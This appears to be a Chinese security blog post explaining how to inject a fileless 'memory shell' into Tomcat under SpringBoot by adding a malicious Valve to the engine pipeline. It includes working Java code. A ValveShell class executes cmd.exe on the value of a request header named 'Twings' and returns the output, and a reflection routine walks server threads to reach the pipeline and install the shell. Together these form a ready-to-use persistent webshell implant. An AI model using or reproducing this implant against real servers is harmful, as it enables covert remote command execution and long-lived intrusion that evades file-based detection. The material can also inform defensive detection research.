前言

新的Tomcat内存马玩法。


环境

环境为SpringBoot。

Valve

Valve存放在所属容器的pipeline中,在Filter执行之前被调用,并通过getNext().invoke()的方式进行链式调用。

下面这张调用栈图就可以清晰地看出来Filter链的调用就是Valve链中的StandardWrapperValve实现的:

一般项目可以通过server.xml在Tomcat中配置自定义Valve,而SpringBoot提供了定制器类来实现添加Valve这个功能:

@Component
public class MyCustomize implements WebServerFactoryCustomizer<TomcatServletWebServerFactory> {
    @Override
    public void customize(TomcatServletWebServerFactory factory) {
        factory.addEngineValves(new MyValve());
    }
}

给自定义Valve下一个断点,就可以看到线程从接收请求到找到该自定义Valve执行的具体流程:

跟踪一下代码,可以看到获取并执行第一个Valve的代码位于CoyoteAdapter类中:

connector.getService().getContainer().getPipeline().getFirst().invoke(
        request, response);

换句话说就是我们可以从NioEndpoint出发,一步步找到这里的pipeline并添加一个Valve Shell进去。

Valve内存马

调试一下,根据上面的Valve执行函数调用栈,我们可以从NioEndpoint中找到Http11NioProtocol对象:

该对象的adapter属性中就存放了我们要找的CoyoteAdapter对象:

接下来就是按照connector.getService().getContainer().getPipeline().getFirst()的调用顺序,就可以找到我们的自定义的Valve了:

理清了内存马注入思路,接下来就是把自定义Valve删掉,然后写代码注入Valve内存马了,需要注意的一点是由于我们没有添加自定义Valve,此时Engine的pipeline中是空的,其getFirst函数会返回一个缺省状态下的Valve:

@Override
public Valve getFirst() {
    if (first != null) {
        return first;
    }

    return basic;
}

其实就是我们在调用栈中看到的StandardEngineValve,为了保证后续处理流程的顺利进行,我们还需要给Valve Shell设置好它的下一个Valve,这里可以直接使用StandardPipeline类中的addValve函数来添加。

首先写一个简单的Valve Shell:

class ValveShell extends ValveBase {
    @Override
    public void invoke(org.apache.catalina.connector.Request request, org.apache.catalina.connector.Response response) throws IOException, ServletException {
        String[] cmd = new String[]{"cmd.exe", "/c", request.getHeader("Twings")};
        byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
        response.getWriter().write(new String(result));
        next.invoke(request, response);
    }
}

然后调用addValve添加进去:

try {
    Field f = ThreadGroup.class.getDeclaredField("threads");
    f.setAccessible(true);
    Thread[] threads = (Thread[])f.get(Thread.currentThread().getThreadGroup());
    NioEndpoint nioEndpoint = null;
    for (Thread thread: threads) {
        if (thread.getName().contains("http") && thread.getName().contains("Poller")) {
            f = Thread.class.getDeclaredField("target");
            f.setAccessible(true);
            Object pollor = f.get(thread);
            f = pollor.getClass().getDeclaredField("this$0");
            f.setAccessible(true);
            nioEndpoint = (NioEndpoint)f.get(pollor);
            break;
        }
    }
    if (nioEndpoint == null) {
        return;
    }
    AbstractEndpoint.Handler<?> handler = nioEndpoint.getHandler();
    f = handler.getClass().getDeclaredField("proto");
    f.setAccessible(true);
    Http11NioProtocol http11NioProtocol = (Http11NioProtocol)f.get(handler);
    CoyoteAdapter coyoteAdapter = (CoyoteAdapter)http11NioProtocol.getAdapter();
    f = coyoteAdapter.getClass().getDeclaredField("connector");
    f.setAccessible(true);
    Connector connector = (Connector)f.get(coyoteAdapter);
    Pipeline pipeline = connector.getService().getContainer().getPipeline();
    if (pipeline == null || pipeline.getFirst() instanceof ValveShell) {
        return;
    }
    pipeline.addValve(new ValveShell());
}catch (Exception e) {
    // pass
}

成功注入:


参考

Valve内存马

SpringBoot-定制Web容器Tomcat


Web Java

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

CVE-2022-42889 Apache Commons Text RCE 漏洞学习
Java ASM